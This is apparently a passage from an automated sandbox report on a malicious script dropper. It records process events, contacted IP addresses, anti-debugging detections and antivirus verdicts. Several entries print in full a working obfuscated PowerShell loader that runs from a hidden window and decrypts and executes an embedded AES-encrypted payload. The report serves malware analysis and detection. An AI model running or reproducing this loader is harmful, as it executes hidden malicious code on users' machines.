[System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell -
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - }
cmdline	powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - }
cmdline	powershell -
cmdline	powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW July 26, 2023, 2:27 p.m.	thread_identifier: 1720 thread_handle: 0x00000000000004f8 process_identifier: 1728 current_directory: C:\Users\test22\Desktop filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - } filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000004f0	1	1
ShellExecuteExW July 26, 2023, 2:27 p.m.	show_type: 0 filepath_r: powershell.exe parameters: -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - } filepath: powershell.exe	1	1
ShellExecuteExW July 26, 2023, 2:28 p.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - filepath: C:\Windows\System32\cmd.exe	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 26, 2023, 2:28 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 26, 2023, 2:35 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 26, 2023, 2:35 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409

Communicates with host for which no DNS query was performed (5 events)

host	103.100.211.218
host	108.181.20.35
host	144.76.136.153
host	154.221.26.108
host	117.18.232.200

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

Arcabit	VBS:Electryon.308
Symantec	ISB.Downloader!gen63
ESET-NOD32	VBS/Kryptik.D
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VBS:Electryon.308
NANO-Antivirus	Trojan.Script.Dinihou.dnzdga
MicroWorld-eScan	VBS:Electryon.308
Emsisoft	VBS:Electryon.308 (B)
VIPRE	VBS:Electryon.308
McAfee-GW-Edition	BehavesLike.HTML.Dropper.qr
FireEye	VBS:Electryon.308
GData	VBS:Electryon.308
VBA32	suspected of VBS.EncodedMalware
ALYac	VBS:Electryon.308
MAX	malware (ai score=80)

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

iexplore.exe

martian_process

powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs | powershell - }

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe" /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell -
